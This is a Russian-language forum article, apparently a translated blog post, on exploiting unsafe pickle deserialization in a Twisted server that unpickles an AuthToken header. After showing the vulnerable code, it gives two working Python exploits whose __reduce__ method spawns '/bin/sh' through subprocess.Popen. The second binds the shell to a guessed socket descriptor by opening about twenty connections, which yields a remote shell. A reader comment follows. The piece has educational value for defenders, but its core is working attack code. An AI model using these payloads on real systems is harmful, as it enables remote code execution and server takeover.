Статья Эксплуатация python приложений: модуль pickle.

Все части

Привет! Если вы программируете на Python, вы, вероятно, знакомы с библиотекой сериализации pickle, которая обеспечивает эффективную двоичную сериализацию и загрузку типов данных Python. Будем надеяться, что вы также знакомы с предупреждением, которое находится в начале документации о pickle. Вот оно:

Предупреждение. Модуль pickle не предназначен для защиты от вредоносных данных. Никогда не работайте с данными, которые были получены от ненадежного или не прошедшего проверку подлинности источника.

Недавно, я наткнулся на проект, который принимал и распаковывал ненадёжные данные по сети, используя модуль pickle. Опрос некоторых друзей показал, что немногие из них знали о том, насколько легко эксплуатировать этот сервис. Таким образом, эта статья рассказывает о том, насколько легко эксплуатировать эту уязвимость, используя упрощенную версию кода, который я недавно встретил в качестве примера. Здесь я не описываю ничего нового, но вам будет интересно, если вы не знакомы с этой проблемой.

Уязвимым кодом был Twisted сервер, который работал через SSL. Уязвимый код, который я встретил, выглядел примерно так:

Python:
class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):

 # Код для анализа входящих данных в соответствии с
 # Внутренний форматом
 # Если закончили получать заголовки, то вызывается verifyAuth (), чтобы проверить подлинность

  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

Итак, если мы просто отправим запрос, который выглядит примерно так:

Код:
AuthToken: <pickle>

То сервер распакует его.

Удалённое исполнение кода

Pickle позволяет нам представлять произвольные объекты. Очевидной целью является подпроцесс Python.Popen. Если мы сможем обмануть процесс создания одного из них, он выполнит для нас произвольные команды! Однако, мы не можем просто создать объект Popen и запаковать его; По различным причинам это не сработает. Мы могли бы прочитать его в формате «pickle» и построить поток вручную, но, оказывается, в этом нет необходимости.

Pickle позволяет произвольным объектам объявлять, как их следует распаковывать, определяя метод __reduce__, который должен возвращать либо строку, либо кортеж, описывающий, как восстановить этот объект при распаковке. В простейшей форме этот кортеж должен просто содержать:
  • Вызываемый объект (который должен быть либо классом, либо удовлетворять некоторым другим, более сложным, ограничениям)
  • Кортеж аргументов для вызова объекта.
Pickle будет запаковывать каждый объект отдельно, а затем при распаковке использует аргументы для создания нового объекта.

Итак, мы можем создать pickle объект, который, выполнит для нас команду "/bin/sh", следующим образом:

Python:
import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

Получение удаленной командной оболочки


На данный момент мы можем выполнять произвольные команды оболочки в целевом объекте, и есть несколько способов, которыми мы могли бы загрузиться отсюда до интерактивной оболочки и всего, что нам захочется.

Для полноты картины, я объясню, что я сделал. Subprocess.Popen позволяет нам выбирать, какие дескрипторы файлов присоединяться к stdin, stdout и stderr для нового процесса, передавая целые числа для аргументов stdin и аналогично названных, поэтому мы можем открыть наш "/bin/sh" на произвольно пронумерованных файловый дескриптор.

Однако, как упоминалось выше, целевой сервер использует Twisted, и он обслуживает все запросы в одном потоке, используя асинхронную модель управления событиями. Это означает, что мы не можем уверенно предсказать, какой файловый дескриптор на сервере будет соответствовать нашему сокету, поскольку он зависит от того, сколько других клиентов подключено.
Однако, это также означает, что каждый раз, когда мы подключаемся к серверу, мы открываем новый сокет внутри одного и того же процесса сервера. Итак, давайте предположим, что на сервере меньше чем 20 одновременных подключений на данный момент. Если мы подключимся к сокету сервера 20 раз, то это откроет 20 новых файловых дескрипторов на сервере. Поскольку они будут назначены последовательно, у одного из них почти наверняка будет файловый дескриптор 20. Затем мы сможем создать pickle объект, подобный этому, и отправить его:

Python:
import cPickle
import subprocess
import base64

class Exploit(object):
  def __reduce__(self):
    fd = 20
    return (subprocess.Popen,
            (('/bin/sh',), # аргументы
             0,              # размер буфера
             None,         # выполняемый
             fd, fd, fd    # std{in,out,err}
             ))

print base64.b64encode(cPickle.dumps(Exploit()))

Вот таким вот легким способом мы можем получить удалённую командную оболочку на сервере.Ну, на этом всё. Спасибо за внимание!
 
Последнее редактирование:

ActionNum

Well-known member
27.11.2016
80
93
BIT
0
Спасибо за статью! Такие опасные вещи наверное во многих API функциях зарыты, многие сервисы пытаются десериальизовывать данные полученные от пользователя. Жаль вот только исходники тяжело достать!)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!